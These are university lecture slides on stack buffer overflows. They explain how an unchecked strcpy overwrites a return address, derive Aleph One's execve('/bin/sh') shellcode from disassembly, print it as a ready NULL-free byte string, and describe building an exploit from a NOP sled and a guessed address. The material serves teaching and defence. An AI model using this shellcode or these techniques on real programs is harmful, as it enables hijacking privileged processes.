

ECE 568: Computer Security

Part 2A: Buffer Overflows

Courtney Gibson, P.Eng.



Part 2A

Buffer Overflows

- Input Vulnerabilities
- Introduction to Buffer Overflows
- Creating "Shellcode"
- Injection-Attack with Shellcode





Input Vulnerabilities



Input Vulnerabilities

Recall that **trust** is dangerous, especially because designers make unwritten or implicit trust assumptions. The most common cause of attacks today is programs trusting their "input".

"Never trust input".

Now try saying "Never trust input" to a group of [new] programmers, and look at their faces."

- Brian Chess, Fortify Software


Prevalence of Vulnerabilities (2024)

- → 1. Cross-Site Scripting (XSS)
- 2. Out-of-Bounds Write
- → 3. SQL Injection
- 4. Cross-Site Request Forgery (CSRF)
 - 5. Path Traversal
- → 6. Out-of-Bounds Read
 - 7. OS Command Injection
- → 8. Use After Free
 - 9. Missing Authorization
 - 10. Unrestricted Upload of Dangerous Files
- → 11. Code Injection
- → 12. Improper Input Validation
- → 13. Command Injection

- → 14. Improper Authentication
 - 15. Improper Privilege Management
- → 16. Deserialization of Untrusted Data
- → 17. Exposure of Sensitive Information
 - 18. Incorrect Authorization
- → 19. Server-Side Request Forgery (SSRF)
- → 20. Memory Buffer Over-/Underflow
- → 21. NULL Pointer Dereferencing
- → 22. Use of Hard-Coded Credentials
- → 23. Integer Overflow / Wrap-Around
 - 24. Uncontrolled Resource Consumption
 - 25. Missing Authentication


Source: CWE Top-25 Vulnerabilities (2024)

Prevalence of Vulnerabilities (2020)



Source: CWE Top-25 Vulnerabilities (2020)

Prevalence of Vulnerabilities (2011)






Introduction to Buffer Overflows




Buffer Overflows

In 2000, Crispin Cowan wrote "Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade", outlining buffer-overflow attacks and defenses against them.

- Available on course website.
- Sadly, the attack is still very prominent, despite a good understanding of how to prevent it.









```
void foo ( char * input_string )
{
    char bar[32];
    strcpy ( bar, input_string );
}
```

```
Input
void foo (char * input_string)
                                                  Parameters
     char bar[32];
                                                    Return
     strcpy(bar, input_string);
                                                    Address
                                                  Saved Frame
                                                     Pointer
strcpy will keep copying into buf until it
                                                    buf[32]
hits a NULL character ('\0') in str.
                                                    Saved
                                                   Registers
```

```
Input
void foo (char * input string)
                                                    Parameters
     char bar[32];
                                                          Jrn
     strcpy(bar, input string);
                                                          ress
                                                    Save
                                                          Frame
                                                          iter
If str is longer than (32+8)=40 bytes then
                                                       buf
                                                          32]
its contents will overwrite the function's
return address.
                                                      Saved
                                                      Registers
strncpy is a safer alternative to strcpy.
```



If the return address is changed then, when the function returns, it will return to the **altered** return address.

An attacker can use this vulnerability to **hijack** the program (*i.e.*, alter the program instruction stream).



This vulnerability requires:

- 1. A string that is input from the attacker
- 2. A **buffer** on the stack (*i.e.*, a local variable)
- 3. A **bug** where the input string is copied into the buffer without checking that the string will fit into the buffer

This is commonly referred to as a **Stack Smashing Attack**, because the attack overwrites values on the stack.



Vulnerability and Exploit Characteristics

- Designers who tend to think of systems abstractly
 (i.e., without an understanding of memory, stack and CPU)
 inevitably miss such vulnerabilities.
- Exploits rely on specific idiosyncrasies of systems.
- Exploits often achieve what people think is "hard" or "impossible", through some creativity.
- Need to think "outside the box" to understand everything that is trusted and how our trust can be violated.



Creating "Shellcode"




Arbitrary Code Execution

We've seen that the attacker can redirect the execution of the program by changing the return address . . .

... but, to have the vulnerable program execute **arbitrary code**, the attacker needs to put the code somewhere.

Put it in the buffer that was vulnerable!



Arbitrary Code Execution

What kind of "arbitrary code" does the attacker want to execute?

- Usually, the program being attacked runs as root / privileged user
- The attacker may want to gain a **command shell** so they can do other things (e.g., make new users, read/alter data, etc.)
- Because the code is used to get a shell, it is called **shellcode**
 - Unix/Linux: exec("/bin/sh");
 - Windows: exec("cmd.exe");
- What code does the attacker have to inject to get a shell?

How Do We Make "Shellcode"?

We will focus on Linux shellcodes:

• Linux is open source, so it's easier to study... but Windows is similar

Let's start with a short C program that will replace itself with a shell:

```
#include <unistd.h>
void main() {
    char * argv[2];
    argv[0] = "/bin/sh";
    argv[1] = NULL;
    execve(argv[0], argv, NULL);
}
```

How Do We Make "Shellcode"?



execve is one of variants of the exec system call provided by libc.

In order to more easily examine the **execve** code, we'll link libc **statically**, so that the execve code is included within the executable at compile-time (instead of being dynamicaly-linked at runtime):

```
> gcc -static example1.c -o example1
```

Now we can examine the code in gdb:

```
> gdb example1
(gdb) disassemble main
```

Disassembling main

```
main:
push
       %ebp
                                 void main() {
       %esp,%ebp
mov
       $0x18,%esp
sub
       $0xfffffff0,%esp
                                   char * argv[2];
and
       $0x0, %eax
mov
       %eax,%esp
sub
                                   argv[0] = "/bin/sh";
       $0x8095e68,-8(%ebp)
movl
       $0x0,-4(\$ebp)
movl
                                   argv[1] = NULL;
       $0x0,0x8(%esp)
movl
       -8 (%ebp), %eax
lea
                                   execve(argv[0], argv,
       %eax, 0x4 (%esp)
mov
                                          NULL);
       -8 (%ebp), %eax
mov
       %eax, (%esp)
mov
      0x804df00 <execve>
call
leave
ret
```

Function Prologue

```
main:
push
       %ebp
                                 void main() {
       %esp,%ebp
mov
       $0x18,%esp
sub
                                   char * argv[2];
       $0xfffffff0,%esp
and
       $0x0,%eax
mov
sub
       %eax,%esp
                                   argv[0] = "/bin/sh";
       $0x8095e68,-8(%ebp)
movl
      $0x0,-4(%ebp)
movl
                                   argv[1] = NULL;
      $0x0,0x8(%esp)
movl
       -8 (%ebp), %eax
lea
                                   execve(argv[0], argv,
       %eax, 0x4 (%esp)
mov
                                          NULL);
       -8 (%ebp), %eax
mov
mov %eax, (%esp)
call
      0x804df00 <execve>
leave
ret
```

Initialize argv[0]

```
main:
push
       %ebp
                                 void main() {
       %esp,%ebp
mov
       $0x18,%esp
sub
       $0xfffffff0,%esp
                                    char * argv[2];
and
       $0x0, %eax
mov
       %eax,%esp
sub
                                    argv[0] = "/bin/sh";
       $0x8095e68,-8(%ebp)
movl
       $0x0,-4(\$ebp)
movl
                                    argv[1] = NULL;
       $0x0,0x8(%esp)
movl
lea
       -8 (%ebp), %eax
                                    execve(argv[0], argv,
       %eax, 0x4 (%esp)
mov
                                           NULL);
       -8 (%ebp), %eax
mov
       %eax, (%esp)
mov
       0x804df00 <execve>
call
leave
ret
```

Initialize argv[1]

```
main:
push
       %ebp
                                 int main() {
       %esp,%ebp
mov
       $0x18,%esp
sub
                                   char * argv[2];
       $0xfffffff0,%esp
and
       $0x0, %eax
mov
       %eax,%esp
sub
                                   argv[0] = "/bin/sh";
       $0x8095e68,-8(%ebp)
movl
       $0x0,-4(%ebp) ←
movl
                                   argv[1] = NULL;
movl
       $0x0,0x8(%esp)
lea
       -8 (%ebp), %eax
                                   execve(argv[0], argv,
       %eax, 0x4 (%esp)
mov
                                          NULL);
       -8 (%ebp), %eax
mov
       %eax, (%esp)
mov
call
      0x804df00 <execve>
leave
ret
```

Push Args, Call Function

```
main:
push
       %ebp
                                  int main() {
       %esp,%ebp
mov
       $0x18,%esp
sub
                                    char * argv[2];
       $0xfffffff0,%esp
and
       $0x0, %eax
mov
       %eax,%esp
sub
                                    argv[0] = "/bin/sh";
       $0x8095e68,-8(%ebp)
movl
       $0x0,-4(\$ebp)
movl
                                    argv[1] = NULL;
movl
       $0x0,0x8(%esp)
lea
       -8 (%ebp), %eax
                                    execve(argv[0], argv,
       %eax, 0x4 (%esp)
mov
                                           NULL);
       -8 (%ebp), %eax
mov
       %eax, (%esp)
mov
       0x804df00 <execve>
call
leave
```

ret

Return from main

```
main:
push
       %ebp
                                  void main() {
       %esp,%ebp
mov
       $0x18,%esp
sub
       $0xfffffff0,%esp
                                    char * argv[2];
and
       $0x0, %eax
mov
       %eax,%esp
sub
                                    argv[0] = "/bin/sh";
       $0x8095e68,-8(%ebp)
movl
       $0x0,-4(\$ebp)
movl
                                    argv[1] = NULL;
       $0x0,0x8(%esp)
movl
lea
       -8 (%ebp), %eax
                                    execve(argv[0], argv,
       %eax, 0x4 (%esp)
mov
                                           NULL);
       -8 (%ebp), %eax
mov
       %eax, (%esp)
mov
       0x804df00 <execve>
call
leave
ret
```

Disassembling execve

execve:

push %ebp

mov \$0x0, %eax

mov %esp,%ebp

push %ebx

test %eax, %eax

mov 0x8(%ebp),%ebx

mov 0xc(%ebp),%ecx

mov 0x10(%ebp),%edx

mov \$0xb, %eax

int \$0x80

. . .

Function Prologue

Load argv[0] from stack

Load argv from stack

Load NULL from stack

Oxb is system call # for execve

Raise interrupt: trap into kernel

Optimizing the Shellcode

We **could** use entire previous program for our shellcode... however the code is large and inefficient.

If the exploit code contains too many bytes, it might not fit inside the buffer.

We can probably do better by hand-optimizing the code.

Optimizing the Shellcode

What is required for the exec syscall?

1. Create an array

• Element 0: the string "/bin/sh"

• Element 1: a NULL word

2. Set the three arguments for exec

• %ebx: address of the string "/bin/sh"

• %ecx: address of the array

• %edx: NULL (0x0)

3. Trap into the kernel to call exec

Put **0xb** into %eax

Execute the int \$0x80 instruction

```
execve:
push
       %ebp
       $0x0,%eax
mov
       %esp,%ebp
mov
       %ebx
push
test
       %eax,%eax
       0x8(%ebp),%ebx
mov
       0xc(%ebp),%ecx
mov
       0x10(%ebp), %edx
mov
       $0xb, %eax
mov
int
       $0x80
```


\$0x80


int

```
jmp 0x26
popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb, %eax
movl %esi, %ebx
leal 0x8(%esi),%ecx
movl 0xc(%esi),%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x24
.string "/bin/sh"
```


```
jmp 0x26
popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb, %eax
movl %esi, %ebx
leal 0x8(%esi),%ecx
movl 0xc(%esi),%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x24
.string "/bin/sh"
```

- Jump to the end of code





Save string's addr in %esi



Build the array on the stack (after the string)

Optimized Shellcode: Aleph One

```
jmp 0x26
popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb, %eax
movl %esi, %ebx
leal 0x8(%esi),%ecx
movl 0xc(%esi),%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x24
.string "/bin/sh"
```

Initialize the registers for the execv call

Optimized Shellcode: Aleph One

```
jmp 0x26
popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb, %eax
movl %esi, %ebx
leal 0x8(%esi),%ecx
movl 0xc(%esi), %edx
int $0x80
                                 Trap into the kernel
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x24
.string "/bin/sh"
```

Optimized Shellcode: Aleph One

```
jmp 0x26
popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb, %eax
movl %esi, %ebx
leal 0x8(%esi),%ecx
movl 0xc(%esi),%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
                                 Call exit(0);
int $0x80
call - 0x24
.string "/bin/sh"
```

Sanitizing the Shellcode

Compiling this shellcode into a binary string gives us:

Notice that the shellcode contains **NULL bytes** ('\x00'):

- Any NULL byte will cause a problem: it will cause the strcpy function to stop... therefore, we can't have any NULL bytes in our shellcode
- We will need to make some instruction substitutions to remove NULLs; known as ASCII armoring

Sanitizing the Shellcode

After some optimization and removal of NULL bytes:

```
char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff\bin/sh";
```

This shellcode consists entirely of non-NULL characters and is a total of 46 bytes long: fairly optimal.

- Tedious process: many exploits tend to use the same shellcode (borrowed from other exploits)
- Shellcodes don't always spawn a shell: they can be used to perform other operations (open a network connection, download and execute a program, etc.)
- http://www.metasploit.com



Putting it Together: Crafting an Exploit



Stack Smashing

• An unchecked **strcpy**, using input provided by an attacker, might be used to overwrite the function's return address. This potentially allows hijacking the execution of the program.

Shellcode

 We can create code that executes a command shell (or potentially other programs)

How do we combine the two to create an **exploit**?

"Smashing the Stack for Fun and Profit" by Aleph One

We want to overwrite the function's return address with the address of our shellcode.


Problem: We may not know the <u>exact</u> address of where the buffer will start in the stack

Input **Parameters** Return Address Saved Frame Pointer buf[128] Saved Registers

buf[128] Return Address



Because we don't know the exact starting address of **buf**, we'll place our shellcode part-way into the exploit string.



Next, we examine the program we're attacking, and find an address close to where we think **buf** will reside on the stack.



Finally, we fill the beginning of the exploit string with **NOP** instructions: the CPU will just skip over these until it reaches our shellcode.

Finding the Starting Address

```
int foo(char * arg, char * out)
 strcpy( out, arg );
 return(0);
int main(int argc, char * argv[])
 char buf[64];
 assert( argc >= 2 );
 foo( argv[1], buf );
 return(0);
```

- Where is the vulnerability?
- Which return address will be overwritten?
- Which starting address are we trying to find?



Other Approaches



Other Approaches

Other approaches are possible: what to use depends on the circumstances.

- **Problem:** The buffer is **not large enough** to hold the shellcode, and the shellcode would overwrite the return address.
 - Put the shellcode in another buffer somewhere else
 - Sometimes you can put the shellcode after the buffer
- Problem: The program forms the buffer from several strings.
 - It is common to have a buffer overflow when a program is building a list of things to return the user via strcat
 - The attacker may provide the shellcode in pieces



Questions?

